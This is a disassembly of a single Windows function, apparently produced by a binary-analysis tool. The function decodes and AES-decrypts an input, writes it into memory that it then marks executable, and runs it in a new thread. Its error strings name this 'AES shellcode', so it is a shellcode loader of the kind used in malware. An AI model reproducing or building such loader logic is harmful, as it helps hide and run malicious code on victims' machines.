Function at 0x140003df0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x1a0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x190], rax
xor r12d, r12d
mov ebx, r12d
call fcn.140003bf0
mov rdi, rax
test rdi, rdi
jne 0x140003e50
inc ebx
mov qword [rsp + 0x40], 0xf
lea rcx, [rsp + 0x40]
call fcn.140004190
cmp ebx, 0x32
jl 0x140003e31
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rdi + rax], 0
jne 0x140003e57
mov rbx, r12
test rax, rax
je 0x140003e76
cmp byte [rbx + rdi], 0x3d
je 0x140003e79
inc rbx
cmp rbx, rax
jb 0x140003e68
mov rbx, rax
mov rcx, rbx
call fcn.140004618
mov rsi, rax
mov r8, rbx
mov rdx, rax
mov rcx, rdi
call fcn.1400034e0
mov r13, rax
movsxd r15, eax
test eax, eax
jle 0x140003ec9
mov rbx, rsi
mov edi, r15d
nop dword [rax]
nop word [rax + rax]
movzx edx, byte [rbx]
lea rcx, str._02X
call fcn.140003930
lea rbx, [rbx + 1]
sub rdi, 1
jne 0x140003eb0
lea rcx, [0x140006b80]
call fcn.140003930
mov ebx, 0x10
mov ecx, ebx
call fcn.140004618
mov r14, rax
lea rcx, [rax + 0xf]
lea rax, [rsi + 0xf]
cmp r14, rax
ja 0x140003f22
cmp rcx, rsi
jb 0x140003f22
lea rcx, [r14 + r12]
mov rdx, rsi
sub rdx, r14
sub rbx, r12
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
mov byte [rcx], al
lea rcx, [rcx + 1]
sub rbx, 1
jne 0x140003f10
jmp 0x140003f29
movups xmm0, xmmword [rsi]
movups xmmword [r14], xmm0
mov rbx, r12
nop dword [rax]
movzx edx, byte [rbx + r14]
lea rcx, str._02X
call fcn.140003930
inc rbx
cmp rbx, 0x10
jl 0x140003f30
lea rcx, [0x140006b80]
call fcn.140003930
lea rcx, [r15 - 0x10]
call fcn.140004618
mov r12, rax
cmp r15d, 0x10
jle 0x140003f92
lea rdx, [rsi + 0x10]
mov r9, rax
sub r9, rsi
lea r8d, [r15 - 0x10]
nop word [rax + rax]
movzx eax, byte [rdx]
mov byte [r9 + rdx - 0x10], al
lea rdx, [rdx + 1]
sub r8, 1
jne 0x140003f80
mov rcx, rsi
call fcn.140004610
sub r13, 0x10
mov esi, r13d
mov edi, esi
test r13d, r13d
jle 0x140003fcc
mov rbx, r12
nop dword [rax + rax]
movzx edx, byte [rbx]
lea rcx, str._02X
call fcn.140003930
lea rbx, [rbx + 1]
sub rdi, 1
jne 0x140003fb0
mov rdi, rsi
lea rcx, [0x140006b80]
call fcn.140003930
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
lea rdx, [rsp + 0xa0]
mov rcx, r14
call fcn.140001330
mov rcx, r13
call fcn.140004618
mov r14, rax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0xa0]
mov r8, r14
mov rdx, r13
mov rcx, r12
call section..text
test esi, esi
jle 0x140004049
mov rbx, r14
nop dword [rax]
movzx edx, byte [rbx]
lea rcx, str._02X
call fcn.140003930
lea rbx, [rbx + 1]
sub rdi, 1
jne 0x140004030
lea rcx, [0x140006b80]
call fcn.140003930
xor edi, edi
mov qword [rsp + 0x40], rdi
lea r9d, [rdi + 4]
mov r8d, 0x3000
mov rdx, r13
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14000411c
mov r8, r13
mov rdx, r14
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
lea r9, [rsp + 0x98]
mov r8d, 0x20
mov rdx, r13
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x14000413e
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
mov r8, rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x40], rax
test rax, rax
je 0x140004160
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
xor eax, eax
mov rcx, qword [rsp + 0x190]
xor rcx, rsp
call fcn.1400045f0
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret
lea rdx, str.Failed_to_allocate_memory_for_AES_shellcode.
lea rcx, [rsp + 0x50]
call fcn.140003b20
lea rdx, [0x140007940]
lea rcx, [rsp + 0x50]
call sub.VCRUNTIME140.dll__CxxThrowException
lea rdx, str.Failed_to_change_memory_protection.
lea rcx, [rsp + 0x68]
call fcn.140003b20
lea rdx, [0x140007940]
lea rcx, [rsp + 0x68]
call sub.VCRUNTIME140.dll__CxxThrowException
lea rdx, str.Failed_to_create_a_thread_for_AES_shellcode.
lea rcx, [rsp + 0x80]
call fcn.140003b20
lea rdx, [0x140007940]
lea rcx, [rsp + 0x80]
call sub.VCRUNTIME140.dll__CxxThrowException
int3